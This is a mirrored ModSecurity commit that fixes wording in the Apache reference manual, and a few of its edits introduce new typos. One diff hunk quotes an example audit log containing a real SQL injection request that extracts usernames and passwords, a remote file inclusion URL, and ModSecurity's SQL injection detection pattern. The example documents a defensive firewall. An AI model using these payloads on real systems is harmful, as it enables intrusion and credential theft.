github_mirrors/ModSecurity
3
0
Fork 1
mirror of https://github.com/owasp-modsecurity/ModSecurity.git synced 2025-09-30 11:44:32 +03:00
Code Issues Packages Projects Releases Wiki Activity

Fix speling.

Browse Source
This commit is contained in:
ivanr
2008-01-10 12:54:35 +00:00
parent d8fa66515a
commit 0b9c2810e4
1 changed files with 13 additions and 12 deletions
Download Patch File Download Diff File Expand all files Collapse all files

25
doc/modsecurity2-apache-reference.xml
View File

@@ -3849,8 +3849,8 @@ SecRule REQUEST_CONTENT_TYPE ^text/xml nolog,pass,<emphasis>ctl:requestBodyProce
</listitem> </listitem>
<listitem> <listitem>
<para><literal moreinfo="none">ruleRemoveById</literal> (single rule ID, or a <para><literal moreinfo="none">ruleRemoveById</literal> (single rule
single rule ID range accepted as parameter)</para> ID, or a single rule ID range accepted as parameter)</para>
</listitem> </listitem>
<listitem> <listitem>
@@ -5286,7 +5286,7 @@ is not allowed by policy"] [severity "CRITICAL"] [uri "/"] [unique_id
<programlisting>Access denied with code 505 (phase 1). Match of "rx ^HTTP/(0\\\\.9|1\\\\.[01])$" <programlisting>Access denied with code 505 (phase 1). Match of "rx ^HTTP/(0\\\\.9|1\\\\.[01])$"
against "REQUEST_PROTOCOL" required.</programlisting> against "REQUEST_PROTOCOL" required.</programlisting>
<para>The engine message consist of two parts. The first part tells you <para>The engine message consists of two parts. The first part tells you
whether ModSecurity acted to interrupt transaction or rule processing. whether ModSecurity acted to interrupt transaction or rule processing.
If it did nothing the first part of the message will simply say If it did nothing the first part of the message will simply say
"Warning". If an action was taken then one of the following messages "Warning". If an action was taken then one of the following messages
@@ -5334,7 +5334,7 @@ against "REQUEST_PROTOCOL" required.</programlisting>
</itemizedlist> </itemizedlist>
<para>The second part of the engine message explains <para>The second part of the engine message explains
<emphasis>why</emphasis> was the event generated. Since it is <emphasis>why</emphasis> the event was generated. Since it is
automatically generated from the rules it will be very technical in automatically generated from the rules it will be very technical in
nature talking about operators and their parameters and give you insight nature talking about operators and their parameters and give you insight
into what the rule looked like. But this message cannot give you insight into what the rule looked like. But this message cannot give you insight
@@ -5449,8 +5449,8 @@ GET //EvilBoard_0.1a/index.php?c='/**/union/**/select/**/1,concat(username,char(
/**/eb_members/**/where/**/userid=1/*http://kamloopstutor.com/images/banners/on.txt? /**/eb_members/**/where/**/userid=1/*http://kamloopstutor.com/images/banners/on.txt?
HTTP/1.1 HTTP/1.1
TE: deflate,gzip;q=0.3 TE: deflate,gzip;q=0.3
Connection: TE, close Connection: TE, cslose
Host: www.thinkingstone.com Host: www.example.com
User-Agent: libwww-perl/5.808 User-Agent: libwww-perl/5.808
--c7036611-F-- --c7036611-F--
@@ -5465,8 +5465,8 @@ Message: Warning. Match of "rx ^apache.*perl" against "REQUEST_HEADERS:User-Agen
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b(?:(?:length|count|top)\\b.{1,100} Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b(?:(?:length|count|top)\\b.{1,100}
?\\bfrom|from\\b.{1,100}?\\bwhere)|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_ ?\\bfrom|from\\b.{1,100}?\\bwhere)|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_
(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at ARGS:c. [id "950001"] (?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at ARGS:c. [id "950001"]
[msg "SQL Injection Attack. Matched signature &lt;union select&gt;"] [severity "CRITICAL"] [msg "SQL Injection Attack. Matched signature: union select"] [severity "CRITICAL"]
Apache-Error: [file "/tmp/buildd/apache2-2.0.54/build-tree/apache2/server/core.c"] [line 3505] [level 3] Apache-Error: [file "/tmp/buildd/apache2-2.x.x/build-tree/apache2/server/core.c"] [line 3505] [level 3]
File does not exist: /var/www/EvilBoard_0.1a File does not exist: /var/www/EvilBoard_0.1a
Stopwatch: 1199881676978327 2514 (396 2224 -) Stopwatch: 1199881676978327 2514 (396 2224 -)
Producer: ModSecurity v2.x.x (Apache 2.x) Producer: ModSecurity v2.x.x (Apache 2.x)
@@ -5498,8 +5498,8 @@ Server: Apache/2.x.x
</listitem> </listitem>
<listitem> <listitem>
<para>Section identifier, currently a single uppercase letter. <para>Section identifier, currently a single uppercase
</para> letter.</para>
</listitem> </listitem>
<listitem> <listitem>
@@ -5507,8 +5507,9 @@ Server: Apache/2.x.x
</listitem> </listitem>
</orderedlist> </orderedlist>
<para>Refer to the documenation for <literal>SecAuditLogParts</literal> <para>Refer to the documentsation for
for the explanation of each part.</para> <literal>SecAuditLogParts</literal> for the explanation of each
part.</para>
</section> </section>
</section> </section>